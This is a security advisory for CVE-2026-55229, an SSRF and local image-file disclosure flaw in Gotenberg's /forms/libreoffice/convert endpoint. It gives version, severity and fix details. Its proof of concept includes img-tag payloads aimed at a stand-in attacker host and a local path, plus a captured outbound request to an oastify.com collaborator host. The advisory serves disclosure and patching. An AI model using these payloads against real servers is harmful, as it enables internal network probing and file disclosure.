Skip to content

GHSA-2mrg-35hw-x3x9 CVE-2026-55229 GO-2026-5060

Gotenberg: SSRF via LibreOffice document processing

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
1.51%
Chance of exploitation in the next 30 days. Higher than 74.50% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-918 Server-Side Request Forgery (SSRF)
Fix
8.34.0
Upgrade github.com/gotenberg/gotenberg/v8 to this version or later

Description

Summary

Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration.

By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.

Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.

PoC

External Resource Retrieval

Create a DOCX document containing the following content:

<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">

Upload the document to the /forms/libreoffice/convert endpoint.

During document processing, LibreOffice automatically retrieves the referenced external resource.

An outbound request can be observed on Burp Collaborator:

GET /secretendpoint?query=hacked HTTP/1.1
Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com
User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd

Local Resource Retrieval

Create a DOCX document containing the following content:

<img src="/path/to/image.png">

Upload the document to the /forms/libreoffice/convert endpoint.

During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.

Result in output document (used payload - <img src="/usr/share/pixmaps/debian-logo.png">):

<img width="1346" height="397" alt="result" src="https://github.com/user-attachments/assets/52e18316-6654-4341-82e8-14df6c1d7d5e" />

Impact

The identified vulnerability enables two primary attack vectors:

Blind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.

Local File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.

Notes

The issue was reproduced on Gotenberg v8.33.0 under the default configuration.

Given the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.

Affected versions

Go

PackageVulnerableFixed in
github.com/gotenberg/gotenberg/v7
all versions
No fix yet
github.com/gotenberg/gotenberg/v8
< 8.34.0
8.34.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/gotenberg/gotenberg/v8 Go → 8.34.0

go
go get github.com/gotenberg/gotenberg/v8@v8.34.0 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-vp73-vjw8-8f32
Gotenberg has a Race Condition via Multipart `downloadFrom` Handling
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-86m8-88fq-xfxp
Gotenberg has an SSRF deny-list bypass in IsPublicIP via IPv6 6to4 / NAT64 / site-local prefixes
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-hwc4-gmrw-5222
Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-chwh-f6gm-r836
Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-g924-cjx7-2rjw
Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme
Medium Also affects github.com/gotenberg/gotenberg/v7
GHSA-4vmc-gm8v-m35h
Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook
Critical Also affects github.com/gotenberg/gotenberg/v7
GHSA-r33j-c622-r6qp
Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine
High Also affects github.com/gotenberg/gotenberg/v7
GHSA-3cv5-q585-h563
Gotenberg has arbitrary PDF read via stampExpression and watermarkExpression in merge, split, and convert routes
Medium Also affects github.com/gotenberg/gotenberg/v7
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor